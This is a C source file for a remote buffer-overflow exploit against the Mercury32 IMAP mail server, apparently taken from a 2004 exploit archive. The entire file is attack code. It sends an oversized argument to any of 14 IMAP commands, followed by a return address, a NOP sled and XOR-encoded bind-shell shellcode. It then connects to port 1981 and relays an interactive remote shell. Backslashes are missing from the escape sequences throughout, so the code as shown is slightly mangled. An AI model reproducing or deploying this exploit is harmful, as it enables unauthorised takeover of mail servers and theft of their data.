/** Remote Mercury32 Imap exploit [14 types of attacks] WOW!
 ** By: JohnH@secnetops.com
 **
 ** Notes: Second public release and both of them are murcury32 ;) 
 **        Again someone posted some dos code :( why bother?
 **        If you spent the time to look, it uses the same buffer for all 14 types of attacks and the size does not 
 **        change. I did not check the asm but its prob using the same routine for all 14 commands.
 **
 ** Date: 12/01/04
 **/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define version         "1.0"
int usage(char *p);


char sc_bind[] =
    //decoder
    "xEBx0Fx5Bx80x33x96x43x81x3Bx45x59x34x53x75xF4x74"
    "x05xE8xECxFFxFFxFF"
    //sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
    //XOR with 0x96 (267 0x10B bytes)
    "x7ExB2x96x96x96x22xEBx83x0Ex5DxD4xE1x2Ex4Ax4Bx8C"
    "xA5x7Fx2Dx55x38x50xBDx2BxB8x48xC1xE4x32xB2x24xA4"
    "x96x98xCBx5Dx48xE2xB4xF5x5ExC9xFCxA6xCDxF2x1Dx95"
    "x1DxD6x9Ax1DxE6x8Ax3Bx1DxFEx9ExFCx92xCFx7Ex12x96"
    "x96x96x74x6Fx23x95xBDx77xFExA5xA4x96x96xFExE1xE5"
    "xA4xC9xC2x69xC1x6Ex03xFCx93xCFx7ExF1x96x96x96x74"
    "x6Fx1Dx61xC7xFEx94x96x91x2Bx1Dx7AxC7xC7xC7xC7xFC"
    "x97xFCx94x69xC0x66x05xFCx86xC3xC5x69xC0x62xC6xC5"
    "x69xC0x6Ex1Dx6AxFCx98xCFx3Dx74x6BxC6xC6xC5x69xC0"
    "x6Ax3Dx3Dx3DxF0x51xD2xB2xBAx97x97x1Dx42xFExF5xFB"
    "xF2x96x1Dx5AxC5xC6xC1xC4xA5x4DxC5xC5xC5xFCx97xC5"
    "xC5xC7xC5x69xC0x76xFCx69x69xA1x69xC0x4Ax69xC0x7A"
    "x69xC0x7Ax69xC0x7ExC7x1DxE3xAAx1DxE2xB8xEEx95x63"
    "xC0x1DxE0xB6x95x63xA5x5FxDFxD7x3Bx95x53xA5x4DxA5"
    "x44x99x28x86xACx40xE2x9Ex57x5Dx8Dx95x4CxD6x7Dx79"
    "xADx89xE3x73xC8x1DxC8xB2x95x4BxF0x1Dx9AxDDx1DxC8"
    "x8Ax95x4Bx1Dx92x1Dx95x53x3DxCFx55"
    //decoder end sign
    "x45x59x34x53";

int             type;
int             iPort=143;
char    *ip=NULL;
char    username[256];
char    password[256];

int main(int argc, char **argv)
{
    int             c;


    if(argc < 2)
    {
        usage(argv[0]);
        return 0;
    }


    while((c = getopt(argc, argv, "u:P:h:p:t:")) != EOF) {
        switch(c) {

        case 'u':
            strncpy(username, optarg, sizeof (username) - 1);
            break;

        case 'P':
            strncpy(password, optarg, sizeof (password) - 1);
            break;

        case 'h':
            ip=optarg;
            break;
        case 'p':
            iPort=atoi(optarg);
            break;
        case 't':
	    type=atoi(optarg);
	    break;
	default:
            usage (argv[0]);
            return 0;
        }
    }


    if((!ip))
    {
        usage(argv[0]);
        printf("[-] Invalid parameter.n");
        return 0;
    }

    SendExploit();
    return 0;
}

/* ripped from TESO code */
void shell (int sock)
{
    int     l;
    char    buf[512];
    fd_set  rfds;


    while (1) {
        FD_SET (0, &rfds);
        FD_SET (sock, &rfds);
        select (sock + 1, &rfds, NULL, NULL, NULL);
        if (FD_ISSET (0, &rfds)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                printf("n - Connection closed by local usern");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &rfds)) {
            l = read (sock, buf, sizeof (buf));
            if (l == 0) {
                printf ("n - Connection closed by remote host.n");
                exit (EXIT_FAILURE);
            } else if (l < 0) {
                printf ("n - Read failuren");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

int     SendExploit()
{
    struct hostent *he;
    struct in_addr in;
    struct sockaddr_in peer;
    int             iErr, s,s2;
    int x;
    char    buffer[9000];
    char    buffer2[9000];
    char    szRecvBuff[0x1000];
    char *ip2=NULL;

    printf( "MERCURY32 Imap exploitn");
    printf( "By: JohnH@secnetops.comn");
    printf("[+] Entering God Moden");

    // Login
    memset(buffer2,0x0,sizeof(buffer2));
    strcat(buffer2,"a001 LOGIN ");
    strcat(buffer2,username);
    strcat(buffer2," ");
    strcat(buffer2,password);
    strcat(buffer2,"n");

    bzero  (buffer,sizeof(buffer));
    printf("[+] Using type: %dn",type);
    if (type == 0)
          strcat(buffer,"a001 EXAMINE ");
    else if(type == 1)
	   strcat(buffer,"a001 SUBSCRIBE ");
    else if(type == 2)
	   strcat(buffer,"a001 STATUS ");
    else if(type == 3)
            strcat(buffer,"a001 APPEND ");
    else if(type == 4)
            strcat(buffer,"a001 CHECK ");
    else if(type == 5)
            strcat(buffer,"a001 CLOSE ");
    else if(type == 6)
            strcat(buffer,"a001 EXPUNGE ");
    else if(type == 7)
            strcat(buffer,"a001 FETCH ");
    else if(type == 8)
            strcat(buffer,"a001 RENAME ");
    else if(type == 9)
            strcat(buffer,"a001 DELETE ");
    else if(type == 10)
            strcat(buffer,"a001 LIST ");
    else if(type == 11)
            strcat(buffer,"a001 SEARCH ");
    else if(type == 12)
	    strcat(buffer,"a001 CREATE ");
    else if(type == 13)
            strcat(buffer,"a001 UNSUBSCRIBE ");
    else if(type == 14)
	    strcat(buffer,"a001 SELECT ");



    x = strlen(buffer);
    memset(buffer+x,0x41,260);
    x+=260;
    *(unsigned int *)&buffer[x] = 0x01f9c8fa;
    x+=4;
    memset(buffer+x,0x90,100);
    x+=100;
    memcpy (buffer+x, sc_bind, strlen(sc_bind));
    x+=strlen(sc_bind);
    memcpy(buffer+x,"rn",2);
    x+=2;


    if (!(he = gethostbyname(ip)))
    {
        herror("Resolving host");
        exit(EXIT_FAILURE);
    }
    in.s_addr = *((unsigned int *)he->h_addr);
    peer.sin_family = AF_INET;
    peer.sin_port = htons(iPort);
    peer.sin_addr.s_addr = inet_addr(ip);
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
    {
        perror("socket");
        return(0);
    }
    if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)

    {
        perror("connect");
        return(0);
    }
    printf("[+] connect to %s:%d success.n", ip, iPort);
    sleep(3);

    memset(szRecvBuff, 0, sizeof(szRecvBuff));
    iErr = send(s, buffer2, strlen(buffer2),0);
    printf("[+] Sent: %dn", iErr);

    iErr = send(s, buffer, x,0);

    printf("[+] Sent: %dn", iErr);

    printf("[+] Wait for shell.n");
    if (!(he = gethostbyname(ip)))
    {
        herror("Resolving host");
        exit(EXIT_FAILURE);
    }
    in.s_addr = *((unsigned int *)he->h_addr);
    ip2 = in.s_addr;

    sleep(5);
    peer.sin_family = AF_INET;
    peer.sin_port = htons(1981);
    peer.sin_addr.s_addr = ip2;
    s2 = socket(AF_INET, SOCK_STREAM, 0);
    if (s2 < 0)
    {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
    {
        perror("connect");
        return(0);
    }
    printf ("[+] We got a shell n");

    shell(s2);


    return 0;

}

int usage(char *p)
{
    printf("MERCURY32 Imap Remote Exploitn");
    printf("By: JohnH@secnetops.comn");
    printf( "Usage: %s <-u username> <-p password> <-h host> <-p port> <-t type>n",p);
    printf("Possible types: Look in source code too lazy to type out 14 typesn");
    exit(0);
}

// www.Syue.com [2004-12-01]